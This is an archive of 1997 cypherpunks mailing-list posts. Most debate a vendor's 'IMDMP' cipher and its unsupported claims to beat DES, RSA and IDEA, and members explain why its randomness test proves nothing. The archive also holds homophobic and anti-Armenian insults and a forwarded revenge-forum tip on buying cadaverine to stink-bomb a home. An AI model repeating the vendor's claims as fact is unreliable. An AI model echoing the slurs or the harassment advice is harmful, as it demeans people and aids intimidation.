Subject: Install UDCM properly before using it...
Message-ID: <970109184315_536877969@emout08.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi again,

The shareware version of UDCM *must* be installed before use. Run
"install.exe" after decompression of the archive.

JUST INCASE YOU DON'T KNOW WHAT THE HELL I AM TALKING ABOUT:

Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
Engineering Technologies. I am sending you this message to let you know that
DataET Research has recently initiated the distribution of UDCM, Universal
Data Cryptography Module. UDCM implements a revolutionarily new, extremely
advanced and sophisticated, digital data encryption algorithm named IMDMP,
Integrated Mathematical Data Manipulation and Positioning. Extensive research
shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.

UDCM (the IMDMP algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Contains more than 140 procedures and functions.
o Is a very cost-effective size of only 57 kilobytes.
o Implements the IMDMP encryption algorithm.
o Is more advanced than all of the industry standard encryption algorithms.
o Allows encryption keys as large as 256 bytes (2048 bits).
o Includes 18 sub-algorithms.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Does not store encryption keys in files.
o Processes files as large as 2,147,483,390 bytes.
o Has a 100% data preservation rating.
o Includes Y2K compliant time and date locking features.
o Has NCSC compliant data cleaning and wiping capabilities.
o Includes file specific unique encryption features.
o Includes file authentication guard features.
o Includes unique encryption signaturing features.
o Includes data importance and sensitivity stamping features.

UDCM can be accessed through programs developed with popular application and
database programming languages and environments such as: C, C++, Visual
Basic, PowerBuilder, Delphi, OOP Pascal, Turbo Pascal, SmallTalk, dBase,
Paradox, Access, Sybase, Oracle, etc. 

DataET Research has released a shareware version of UDCM named UDCM V2.0.

To download UDCM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/udcm.html.

I hope you will consider applying UDCM in the software you develop. Thank-you
very much for your time.

Jeremy...
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 9 Jan 1997 15:49:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Problems with UDCM V2.0?
Message-ID: <970109184751_1157614624@emout05.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

If you are even having the slightest problem with UDCM, do not hesitate to
send us a message at: DataETRsch@aol.com. Remember that the *shareware*
version of UDCM MUST BE INSTALLED BEFORE USE. Run "install.exe" after
decompression.

JUST INCASE YOU DON'T KNOW WHAT THE HELL I AM TALKING ABOUT:

Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
Engineering Technologies. I am sending you this message to let you know that
DataET Research has recently initiated the distribution of UDCM, Universal
Data Cryptography Module. UDCM implements a revolutionarily new, extremely
advanced and sophisticated, digital data encryption algorithm named IMDMP,
Integrated Mathematical Data Manipulation and Positioning. Extensive research
shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.

UDCM (the IMDMP algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Contains more than 140 procedures and functions.
o Is a very cost-effective size of only 57 kilobytes.
o Implements the IMDMP encryption algorithm.
o Is more advanced than all of the industry standard encryption algorithms.
o Allows encryption keys as large as 256 bytes (2048 bits).
o Includes 18 sub-algorithms.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Does not store encryption keys in files.
o Processes files as large as 2,147,483,390 bytes.
o Has a 100% data preservation rating.
o Includes Y2K compliant time and date locking features.
o Has NCSC compliant data cleaning and wiping capabilities.
o Includes file specific unique encryption features.
o Includes file authentication guard features.
o Includes unique encryption signaturing features.
o Includes data importance and sensitivity stamping features.

UDCM can be accessed through programs developed with popular application and
database programming languages and environments such as: C, C++, Visual
Basic, PowerBuilder, Delphi, OOP Pascal, Turbo Pascal, SmallTalk, dBase,
Paradox, Access, Sybase, Oracle, etc. 

DataET Research has released a shareware version of UDCM named UDCM V2.0.

To download UDCM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/udcm.html.

I hope you will consider applying UDCM in the software you develop. Thank-you
very much for your time.

Jeremy...
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 9 Jan 1997 21:40:36 -0800 (PST)
To: Rick Osborne <osborne@gateway.grumman.com>
Subject: Re: SSL Insecurity
In-Reply-To: <3.0.32.19970109124118.00920db0@gateway.grumman.com>
Message-ID: <32D5AEAE.3B1C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne wrote:
> 
> A while back, someone posted an article on the insecurity of Netscape's
> implementation of SSL.  Can someone send me back that article, or a few
> pointers as to where I can find related information?
>

  This isn't an exact pointer, but there are some articles on it at
the following site.  You may have to do a little digging.
   
     http://www.cs.hut.fi/ssh/crypto

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 9 Jan 1997 15:54:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Ignore all the messages about...
Message-ID: <970109185342_1857195697@emout11.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi again,

In the the help documentation of the shareware version of UDCM, there may
appear to be a message that reads:

Describing the algorithmic contents of the IMDMP encryption algorithm is well
beyond the scope of this on-line manual. In fact, there is currently
absolutely no documentation that exists outside of the corporate domain of
DataET Research that actually explains the IMDMP encryption algorithm in any
true detail, and DataET Research does not intend to release or disclose any
such sensitive documentation to the general public, ETC. ETC. ETC. ETC. ETC.
ETC.

PLEASE DISREGARD THE ABOVE MESSAGE COMPLETELY.

Jeremy...
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Si Dawson <simond@perception.co.nz>
Date: Wed, 8 Jan 1997 21:55:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: ok, htf do I get off this list?
Message-ID: <199701090555.SAA17138@homer.perception>
MIME-Version: 1.0
Content-Type: text/plain


OK, I've now sent THREE requests to majordomo to get off this list.. I got
a reply back 4 hours ago saying I was off, and the next two said I wasn't
a member of the list.  Interesting list (minus the spamcrap obviously) and
I think the moderation will be a good thing, BUT the 20 emails I've received
in the last 4 hours (since I 'officially' unsubbed) is (to say the least) far
more than I (or any reasonable mortal) can deal with.

How do I unsubscribe?  No, more importantly, how do I stop all these damn
emails turning up?

Thanks in Advance

Simon


  As I think, talk, and act.. so I shall become..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Lesher / hated by RBOC's in 5 states" <wb8foz@wauug.erols.com>
Date: Thu, 9 Jan 1997 16:36:14 -0800 (PST)
To: kkirksey@appstate.campus.mci.net (Ken Kirksey)
Subject: Re: Key Escrow Good, GAK Bad
In-Reply-To: <199701092131.QAA00797@aus-c.mp.campus.mci.net>
Message-ID: <199701100019.TAA25077@wauug.erols.com>
MIME-Version: 1.0
Content-Type: text/plain


Ken Kirksey sez:
> 
> I'll give an example.  About a year ago, my boss wanted to protect his 
> file of annual financial projections for the company from prying eyes on 
> our Macintosh network.  I installed CurveEncrypt on his machine, showed 
> him how to use it, and gave him the standard lecture on choosing a good 
> passphrase.  I stressed that he needed to chose a passphrase easy to 
> remember, because if he forgot it, there was no way to get his file back.
> 
> Well, he forgot his passphrase.  

There's a low-tech solution. There's a stock GSA form for recording
a container [safe] combo. You seal it up, put it in an envelope, you
& witness sign across the flap. You store same in another container,
such as in the security office. [THAT safe combo is usually kept
in a 24-hour manned location such as the ECC or such.]

Think along those lines, perhaps.

-- 
A host is a host from coast to coast.................wb8foz@nrk.com
& no one will talk to a host that's close........[v].(301) 56-LINUX
Unless the host (that isn't close).........................pob 1433
is busy, hung or dead....................................20915-1433




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 9 Jan 1997 19:51:47 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMPORTANT: Additional information about UDCM.
Message-ID: <3.0.32.19970109200218.006d59dc@best.com>
MIME-Version: 1.0
Content-Type: text/plain


Why are people so convinced that a uniform distribution in cyphertext
equates to security? Nonsense.


At 06:11 PM 1/9/97 -0500, you wrote:
>{Please read this *entire* e-mail message.}
>
>compared. Subtle patterns where searched for. Binary character tallys where
>taken. IMDMP did *not* leave *any* repeating patterns in the test file that
>was used. In IMDMP, each of the 256 possible binary character combinations
>had an approximate count of  0.390625% of all of the 64 million bytes.
> 0.390625% is the best possible percentage. Are all of you out there
>satisfied?
>
>Jeremy K. Yu-Ramos
>President
>DataET Research
>Data Engineering Technologies
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Thu, 9 Jan 1997 17:15:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <970109201419_1207964145@emout18.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

In compliance with the large volume of source code requests DataET Research
has been receiving, the undocumented Pascal source code of UDCM (containing
the IMDMP encryption algorithm) will be released in approximately one month.
Also, the shareware version of UDCM completely complies with ITAR since only
56-bit keys are allowed. The registered version allows 2048-bit keys. The
registered version can only be sold within the U.S. and Canada. Also:

IN RESPONSE TO THE FLAME MAIL DATAET RESEARCH HAS RECEIVED:

A "comment:" is from a flame mail. A "reply:" is DataET Research's reply to
the comment.

Comment: "What do you mean by 'extensive research'."
Reply: Benchmark tests. Source code comparisons. Documentations of other
algorithms. "Applied Cryptography".

Comment: "Yah, okay, since when is a DLL not royalty-free?!"
Reply: Read some component catalogs. Go search the Internet.

Comment: "That stupid line about 140 function bloats your ad."
Reply: Is this constructive criticism or what?

Comment: "What the hell does DLL size have to do with cost-effectiveness?"
Reply: Upload time. Disk creation time. Minimal archive size increase.

Comment: "I've never even heard of IMDMP before. Is this a joke?"
Reply: UDCM (IMDMP) came out January 1st, 1997. How do you think successful
companies start anyway, with millions of dollars upfront? DataET Research is
a relatively new company.

Comment: "What kind of industry standard is IMDMP above?"
Reply: 128-bit encryption. Average DES is 128. PGP tops 1024. IDEA goes at
128. RSA the same. Full security IMDMP is 2048-bit. Any other questions?

Comment: "Any bonehead can tell that 256 bytes is 2048 bits."
Reply: Does anybody out there feel insulted?

Comment: "Why does IMDMP need sub-algorithms? Is there something wrong?"
Reply: Sub-algorithms of IMDMP are basically algorithm modes. There is
nothing wrong with IMDMP's structure. Why don't you see what sub-algorithms
are for yourself? Go try out UDCM:
http://members.aol.com/dataetrsch/udcm.html.

Comment: "What algorithm doesn't process both binary and ASCII?"
Reply: Go search the Internet for one. You'll find many dinky ones.

Comment: "What algorithm doesn't allow multiple encryption layers?"
Reply: Go search the Internet for one. You'll find many dinky ones.

Comment: "Who says IMDMP doesn't have any back-doors or magical keys?"
Reply: What more do you want us to prove? The source code will be out in
about a month.

Comment: "Why is there a dumb 2,147,483,390 file size limit?"
Reply: It has do with 2^32 DOS file pointer long integer variables. You
developers should know that.

Comment: "Why the hell is the file size limit 258 bytes off? What, are keys
kept in file headers?"
Reply: Keys are NOT stored in headers. The 258 (actually 256) byte header is
used to store certain IMDMP special security option settings. The header is
itself secured using a 128-bit encryption code.

Comment: "What the do you mean by 'file specific unique encryption'."
Reply: For the idiot who sent this message to us: Why don't you download UDCM
V2.0 and view its documentation for yourself?

Comment: "Isn't IMDMP illegal?!"
Reply: The version of UDCM (IMDMP) being distributed on the Internet, the
shareware version, allows only 56-bit keys. The registered version allows
2048-bit ones. The registered version is only sold within the U.S. and
Canada.

Comment: "I want the damn source code to IMDMP now. How do we know for sure
that IMDMP is better than DES and all the others you mentioned?"
Reply: Wait one month please.

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 18:02:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Interested in making extra income?
In-Reply-To: <199701091527.HAA03723@latvia.it.earthlink.net>
Message-ID: <1wka1D41w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ubs95@earthlink.net writes:

> Suck_My_Big_Juicy_Cock,
>
> Hello!

You found the right mailing list.  I'm sure John Gilmore, Sandy Sanford,
Ray Arachelian, Zach Babyco, and other gay "cypher punks" are going to
take you up on your offer.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Thu, 9 Jan 1997 17:42:47 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: IMPORTANT: Additional information about UDCM.
Message-ID: <01BBFE6C.F1F92260@bcdev.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome once again to your weekly round of 'Smell that Snake Oil'

> A detailed description of the IMDMP encryption algorithm will be posted to
> this mailing list within a few days. An end-user application will be released
> within a few weeks. I would appreciate it if all you cypherpunks out there
> review the description and the software, and tell me what you think of IMDMP.

This is a good start.  You would do well to keep your wild claims to a
minimum until after the first cursory reviews.

> are referenced more often than "bytes". And, the "industry standard" that
> IMDMP is obviously well above is DES, etc. Also, DES 128, PGP 1024, RSA 128,
> IDEA 128, and IMDMP 2048 were applied at their maximum settings on a file

DES 128 - no such beast
PGP 1024 - this is presumably a RSA key size, and has nothing
to do with the session key involved in actually encrypting the data
RSA 128 - RSA is not suited to encrypting streams of data but if
you wanted to use it for that purpose 128bits would be ridiculusly
to small to be secure
IDEA 128 - wow, you've actually named one real block cipher!
IMDMP 2048 - feh

> full of about 64 *million* repeating "A" ASCII character bytes. The mutation
> levels the algorithms rendered on their individual trash test files were
> compared. Subtle patterns where searched for. Binary character tallys where
> taken. IMDMP did *not* leave *any* repeating patterns in the test file that
> was used. In IMDMP, each of the 256 possible binary character combinations
> had an approximate count of  0.390625% of all of the 64 million bytes.
>  0.390625% is the best possible percentage. 

The fact that you would consider this to be a sufficient test is proof enough
for me that you should not be designing cryptosystems.

> Are all of you out there
> satisfied?

Not even close.

-Blake 
(who's waiting for the first pyramid-scheme cipher to be announced here next week)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 18:00:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: More threatening e-mail from cocksucker John Gilmore and his cronies
In-Reply-To: <199701090833.QAA15845@darwin.pacific.net.sg>
Message-ID: <T2ka1D43w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>Received: from dimple.pacific (max75ppp20.pacific.net.sg [203.120.75.20]) by darwin.pacific.net.sg (8.8.2/8.8.2) with SMTP id QAA15845 for <dlv@bwalk.dm.com>; Thu, 9 Jan 1997 16:33:17 +0800 (SGT)
>Date: Thu, 9 Jan 1997 16:33:17 +0800 (SGT)
>From: dimple@pacific.net.sg
>Message-Id: <199701090833.QAA15845@darwin.pacific.net.sg>
>X-Sender: dimple@pacific.net.sg
>X-Mailer: Windows Eudora Light Version 1.5.2
>Mime-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
>Subject: Re: AHHHHHHHHHHHHHHHHHH!!!!!!!
>
>I HAVE NO IDEA HOW YOU GOT MY ADD. BUT I DON'T LIKE THE AMOUNT OF MAIL
>YOU'RE SEBDING ME. I HAVE ALREDY ALERTED THE POLICE OF YOUR DOINGS AND IF
>YOU STILL SEND ME MORE JUNKMAIL BY TOMORROW THE POLICE WILL ARREST.
>THE DEADLINE IS 1O JAN 1997.
>
>
>

Dear Dimple,

It sounds like the ASALA terrorist Ray Arachelian <ray@earthweb.com> has
forged a subscription request in your name to the "cypher punks" mailing
list!  You can complain about his forgeries and net-abuse to his bosses:
             Jack D. Hidary <jack@earthweb.com>
             Murray Hidary <murray@earthweb.com>
             Nova Spivack <nova@earthweb.com>
With luck, you'll have this dandruff-covered Armenian vandal extradicted
to Singapore, where he'll be beaten with a rattan cane for his misdeeds.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Thu, 9 Jan 1997 21:00:46 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Interested in making extra income?
In-Reply-To: <1wka1D41w165w@bwalk.dm.com>
Message-ID: <Pine.3.89.9701092025.A608-0100000@netcom12>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> ubs95@earthlink.net writes:
> 
> > Suck_My_Big_Juicy_Cock,
> >
> > Hello!
> 
> You found the right mailing list.  I'm sure John Gilmore, Sandy Sanford,
> Ray Arachelian, Zach Babyco, and other gay "cypher punks" are going to
> take you up on your offer.
> 
> 
Oh, wow, what an insult.  I am shocked and humbled by your rapier wit.

If you are going to insult me, you could at least get my name right...who 
is Zach Babyco?


Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 9 Jan 1997 20:10:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cadaverine
In-Reply-To: <trc7-0901971628460001@132.236.65.182>
Message-ID: <R0La1D45w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!panix!news.bbnplanet.com!cam-news-hub1.bbnplanet.com!howland.erols.net!news3.cac.psu.edu!news.tc.cornell.edu!newsstand.cit.cornell.edu!NewsWatcher!user
From: trc7@cornell.edu (Sam bovis)
Newsgroups: alt.revenge
Subject: Re: Cadaverine
Message-ID: <trc7-0901971628460001@132.236.65.182>
Date: Thu, 09 Jan 1997 16:28:46 -0500
References: <5all7p$ccv@basement.replay.com> <32d36497.310784677@news.concentric.net>
Sender: trc7@cornell.edu (Verified)
Organization: Not too good
Lines: 18
NNTP-Posting-Host: 132

In article <32d36497.310784677@news.concentric.net>, Elmer@fudd.com (Elmer
the Wabbit Eater) wrote:

> nobody@REPLAY.COM (Anonymous) spewed forth:
> 
> >:I'm looking for a company who sells a product call Cadaverine.
> >:
Try Sigma Chemical Company out of St. Louis, MO.  They are a large
supplier of very pure scientific supplies.  Contact them to see what their
policies are in selling non-lethal compounds to people off the street. 
Cadaverine is a by-product of protein fermentation by bacteria and is not
harmful.  If you are planning to bomb someone's home with it, it will
dissipate over a couple of days because it is so volatile.  Another source
is dog training supply houses, body-locating dogs are trained by use of
cadaverine and putrescine, another similar compound. Hope this helps.
L. Rumen
JKoB
Large Hairball available upon request




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Thu, 9 Jan 1997 18:05:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] e$
Message-ID: <199701100204.VAA15540@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. Mayo's 16Kb brain's single convolution is directly 
wired to his rectum for input and his T1 mouth for output. 
That's 16K bits, not bytes. Anal intercourse has caused 
extensive brain damage.

        __MMM__
         (o o)
   -ooO---(=)---Ooo- Tim C. Mayo








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 9 Jan 1997 18:02:48 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <970109181113_1044501439@emout15.mail.aol.com>
Message-ID: <Pine.LNX.3.95.970109205833.413A-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 9 Jan 1997 DataETRsch@aol.com wrote:

> IN RESPONSE TO THE FLAME MAIL DATA RESEARCH HAS BEEN RECEIVING:
> Note: The 18 "sub-algorithms" of IMDMP are basically algorithm "modes", and,
> yes, many algorithms do *not* have multiple encryption layers, although,
> obviously, the more advanced ones do.

Please explain what a mode is.  "Mode" usually refers to ECB, CBC, CFB, etc.

> And, the "industry standard" that
> IMDMP is obviously well above is DES, etc.

Do you have any proof to back this up?

> Also, DES 128, PGP 1024, RSA 128,
> IDEA 128, and IMDMP 2048 were applied at their maximum settings on a file
> full of about 64 *million* repeating "A" ASCII character bytes.

PGP isn't an algorithm.  And RSA 128 is _extremely_ insecure.  How exactly did
you get DES to use a 128-bit key?  Perhaps you used some variant of DES, but
you did not specify.  Also, I'm curious as to why you compare IMDMP, which is
(probably) a symmetric algorithm with public key algorithms.  They really
aren't comparable.

> The mutation
> levels the algorithms rendered on their individual trash test files were
> compared. Subtle patterns where searched for. Binary character tallys where
> taken. IMDMP did *not* leave *any* repeating patterns in the test file that
> was used. In IMDMP, each of the 256 possible binary character combinations
> had an approximate count of  0.390625% of all of the 64 million bytes.

Just because ciphertext passes simple randomness tests does not mean that the
algorithm used to encrypt it is secure.  If ciphertext does not appear to be
random, then the algorithm is not secure.  It doesn't work the other way
around.

>  0.390625% is the best possible percentage. Are all of you out there
> satisfied?

Not especially.  I'd still be interested in the design criteria used to develop
this algorithm.  Until you publish the full source and technical data, I will
have to assume that the algorithm is insecure.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMtWkCSzIPc7jvyFpAQE1Fgf9HNCgJ8Rp/F0JcxDi2seWN/l9wCvm97s3
woPB4F+nOVnhmkGNqhf1HfzBFNvaUzp9n/JsLnWU1MS5P0vtPCAxTbrNncuiMlId
OHulFWeFePJUcG6peORKAtIcndZ47KpwQB8YlQ1bzWtqPs+KcfVfpPJHDjrO2/9C
rD0HebdxSz3DpsBlK+Wj9M57R0RHQjL1r5nShXz0Dx0Z1oMy1FhuGvRlYhl8q2Z6
sElyVOklPTxjdKTuHjhlBIy5mEK/+56jBju9/njY6+S05L+3I+uffVXIKsH07QJF
v8ReB9EnSOubBNxKgkfh5L6KHrvm3UZVY8dwJPsZFxGbsKAs1Gl7xQ==
=s8rX
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blake Coverett <blake@bcdev.com>
Date: Thu, 9 Jan 1997 18:11:52 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Humor from the UDCM help file
Message-ID: <01BBFE71.053CC990@bcdev.com>
MIME-Version: 1.0
Content-Type: text/plain


The Exportation Restrictions section reads as follow:

    As of the release of UDCM V2.0, there are no absolutely no 
    United States exportation regulation laws that actually affect 
    the electronic Internet distribution of the IMDMP encryption 
    algorithm. Electronic distribution technically does not constitute 
    physical distribution. So because of that, it is perfectly legal for 
    UDCM V2.0 to be digitally distributed world-wide. However, the 
    international physical disk distribution of UDCM V2.0 is not legal. 
    Also note that DataET will not sell a registered version of UDCM 
    to any person outside of the United States and Canada. There 
    are absolutely no exceptions at all. DataET Research cannot 
    be held responsible for any illegal distribution actions that take 
    place outside of its direct control. However, software containing 
    or having access to the registered version of UDCM may be 
    distributed world-wide, physically or electronically, but programs 
    developed using a registered version of UDCM may not be distributed 
    outside of the U.S. and Canada unless users are not given direct 
    access to UDCM's functions or unless applied encryption keys 
    are no larger than 7 bytes (56 bits). Users are said to have direct 
    access if they can choose which files to operate on.

Could someone please forward this to Dan Bernstein and 
Phil Karn, I'm sure they'll be happy to know that they can
drop the law suits now.

-Blake





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stefen@thor.he.net
Date: Thu, 9 Jan 1997 21:17:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: INFO
Message-ID: <9701100509.AA21070@venus.superstore.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

Please forgive me for this e-mail, but I felt I just had to let more
people know about this new product for your vehicles.

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New technology guaranteed to save 20% on gas mileage,
extend engine life by 50%, and reduce smog emissions
by 70 - 90% legally.  8000 in use.  Yes we do have the 
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Please answer 4 questions so I can serve you better.

What kind of vehicle do you drive ?

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And what state do you live in ?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 9 Jan 1997 20:51:12 -0800 (PST)
To: Ken Kirksey <kkirksey@appstate.campus.mci.net>
Subject: Re: Key Escrow Good, GAK Bad
In-Reply-To: <199701092131.QAA00797@aus-c.mp.campus.mci.net>
Message-ID: <32D5DEDA.26D5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ken Kirksey wrote:

> And he is a typical computer user.  If your average joe forgets his
> passphrase and loses two days worth of work, he's not likely to encrypt
> his work again.  (Or he's likely to write down his passphrase in the
> future).  If we were using a Key Escrow system, this situation could have
> been avoided.  Yes, using a key escrow system is less secure that using a
> non-key escrow system, but I'd argue that using a strong key escrow
> system is better than using no encryption at all in situations like this.

  Key escrow is an easy-fix for securing company communications, and I
am sure that it has its place in a situation such as yours, where you
have to baby-sit people who want the full benefits of a technology
that is beyond them.
  The problem, of course, is that, as TV has shown us for years, the
'lowest common denominator' becomes the rule. People will use key 
escrow for things that should actually have uncomprimisable security,
and they will scream bloody murder when it is compromised.

  It wasn't that long ago when I was talking to the CEO of a company
on a plane to Nantucket, and he was boasting about how he encrypted
his files with Pkzip to thwart would-be intruders.
  I decrypted one of his files for him on the trip between the mainland
and Nantucket (you go up, you go down, you're there). He was astounded.
He had told me that his kid was a hacker, so I told him to ask his kid
if he could access his 'protected' files.
  I forgot about the incident, but a few weeks later the guy tracked
me down in Tucson (I had told him the name of my company), and told
me that it took his kid less than a week of scouting around the local
BBS's to find a program to crack Poppa's 'high-security' files.

  Key Escrow, I suppose, is like most other things--a trade-off.
  BTW, I occasionally 'write down' a reference to my passwords, as 
a 'reminder'.
  e.g. - Password / Zappa Concert--1980
         (this reminds me of the password I used, which was
           38-24-37RedHead)
      (sorry, no pictures)

Toto


> 
> >  To me, Key Recovery cryptography is like using a condom with a
> >hole in it. No thanks.
> 
> I agree in principle, and I doubt I would ever use a key recovery system
> if I had a choice.  But, speaking as a network manager, I know that
> private key recovery (not GAK) can be an enhancement to security.
> 
> I'll give an example.  About a year ago, my boss wanted to protect his
> file of annual financial projections for the company from prying eyes on
> our Macintosh network.  I installed CurveEncrypt on his machine, showed
> him how to use it, and gave him the standard lecture on choosing a good
> passphrase.  I stressed that he needed to chose a passphrase easy to
> remember, because if he forgot it, there was no way to get his file back.
> 
> Well, he forgot his passphrase.  He spent an hour trying every
> combination he could think of, interjecting a curse here and there for
> color.  He is now totally off using encryption to protect sensitive
> information.  He refuses to use it, and he discourages anyone in the
> office from using it.  I know that his position is unfair, but he _is_
> the boss, so he makes the rules.
> 
> And he is a typical computer user.  If your average joe forgets his
> passphrase and loses two days worth of work, he's not likely to encrypt
> his work again.  (Or he's likely to write down his passphrase in the
> future).  If we were using a Key Escrow system, this situation could have
> been avoided.  Yes, using a key escrow system is less secure that using a
> non-key escrow system, but I'd argue that using a strong key escrow
> system is better than using no encryption at all in situations like this.
>  Our network is less secure that it could be because of one user's bad
> experience.
> 
> Ken





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: relia@juno.com
Date: Thu, 9 Jan 1997 20:06:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: It's a great new year!
Message-ID: <199701100406.XAA19134@pop1.vnet.net>
MIME-Version: 1.0
Content-Type: text/plain


- - - - - - - - - - - - - - - - - - - - - - - - - -

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Thu, 9 Jan 1997 20:17:39 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Ignore all the messages about...
In-Reply-To: <970109185342_1857195697@emout11.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970109231552.5558C-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 9 Jan 1997 DataETRsch@aol.com wrote:

> Date: Thu, 9 Jan 1997 18:53:44 -0500 (EST)
> From: DataETRsch@aol.com
> To: cypherpunks@toad.com
> Subject: Ignore all the messages about...
> 
> Hi again,
> 
> In the the help documentation of the shareware version of UDCM, there may
> appear to be a message that reads:
> 
> Describing the algorithmic contents of the IMDMP encryption algorithm is well
> beyond the scope of this on-line manual. In fact, there is currently
> absolutely no documentation that exists outside of the corporate domain of
> DataET Research that actually explains the IMDMP encryption algorithm in any
> true detail, and DataET Research does not intend to release or disclose any
> such sensitive documentation to the general public, ETC. ETC. ETC. ETC. ETC.
> ETC.
> 
> PLEASE DISREGARD THE ABOVE MESSAGE COMPLETELY.

Happy to, right after the "sensitive documentation" is released.

> 
> Jeremy...
> President
> DataET Research
> Data Engineering Technologies
> 

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 9 Jan 1997 23:29:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DESChallenge)
In-Reply-To: <199701092015.MAA00707@crypt.hfinney.com>
Message-ID: <v03007809aefb9d3661b8@[206.214.106.70]>
MIME-Version: 1.0
Content-Type: text/plain
